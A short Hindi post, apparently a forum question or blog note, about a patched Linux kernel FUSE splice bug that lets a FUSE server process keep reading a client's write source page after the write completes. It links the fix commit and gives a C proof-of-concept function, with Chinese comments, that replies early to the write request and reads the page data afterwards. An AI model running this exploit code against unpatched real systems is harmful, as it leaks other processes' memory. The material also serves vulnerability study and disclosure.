
यह भेद्यता केवल सूचना रिसाव तक सीमित लगती है?
सुधार लिंक: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0c4bcfdecb1ac0967619ee7ff44871d93c08c909 यह भेद्यता मुख्यतः splice की असिंक्रोनस प्रकृति के कारण है, जिससे उपयोगकर्ता फ़ाइलसिस्टम प्रक्रिया (सर्वर) में सेवा अनुरोध करने वाली प्रक्रिया (क्लाइंट) की मेमोरी का एक हिस्सा बनाए रखना संभव होता है। फ़ाइलसिस्टम प्रक्रिया write बंद होने के बाद भी write के स्रोत मेमोरी पृष्ठ का एक संदर्भ रखती है (फ़ाइलसिस्टम प्रक्रिया के पास केवल पढ़ने की अनुमति है; व्यक्तिगत रूप से मुझे लगता है कि नुकसान ज़्यादा नहीं है :( )। मुख्य तर्क इस प्रकार है: जब क्लाइंट का पृष्ठ pipe में डाला जाता है, तो पहले क्लाइंट को fuse के write अनुरोध का उत्तर देते हैं ताकि write समाप्त हो जाए, इस समय pipe में अभी भी write के स्रोत पृष्ठ का संदर्भ बना रहता है, write समाप्त होने के बाद स्रोत की सामग्री को पढ़ा जाता है।
void fuse_do_write(fd)
{
fflush(stdout);
puts("-----------------------");
puts("[+] start do_write");
// splice read requset from pipe
puts("[+] create pipe");
int pfd[2], ret;
ret = pipe(pfd);
if (ret < 0)
fatal("pipe");
size_t bufsize = getpagesize() + 0x1000;
ret = splice(fd, NULL, pfd[1], NULL, bufsize, 0);
if (ret < 0)
fatal("splice");
// 通过splice读取头部;
struct fuse_in_header in;
ret = read(pfd[0], &in, sizeof(struct fuse_in_header));
if (ret < 0)
fatal("read head");
fuse_show_req_head(&in);
puts("[+] send reply finish write");//回复write请求
struct fuse_write_out outarg;
outarg.size = 1;
outarg.padding = 0;
printf("unique: %d\n", in.unique);
fuse_send_reply(fd, &outarg, sizeof(outarg), 0, in.unique);
// 阻塞等待子进程write结束
int t = 0;
do
{
fflush(stdout);
puts("[+] input 1 to contine, other to block");
scanf("%d", &t);
puts("[+] ...");
} while (t != 1);
struct fuse_write_in inarg;
struct fuse_bufvec bufv;
ret = read(pfd[0], &inarg, sizeof(struct fuse_write_in));
if (ret < 0)
fatal("read write in");
printf("[+] write in:\n");
printf("\tfh:\t%lld\n", inarg.fh);
printf("\toffset:\t%lld\n", inarg.offset);
printf("\tsize:\t%d\n", inarg.size);
printf("\twrite_flags:\t%d\n", inarg.write_flags);
printf("\tlock_owner:\t%llx\n", inarg.lock_owner);
printf("\tflags:\t%d\n", inarg.flags);
printf("\tpadding:\t%d\n", inarg.padding);
ret = read(pfd[0], &bufv, sizeof(bufv)); //客户端write结束以后再读取page
printf("bufv:\t%s\n", (char *)&bufv);
puts("[+] end do_write");
close(pfd[0]);
close(pfd[1]);
}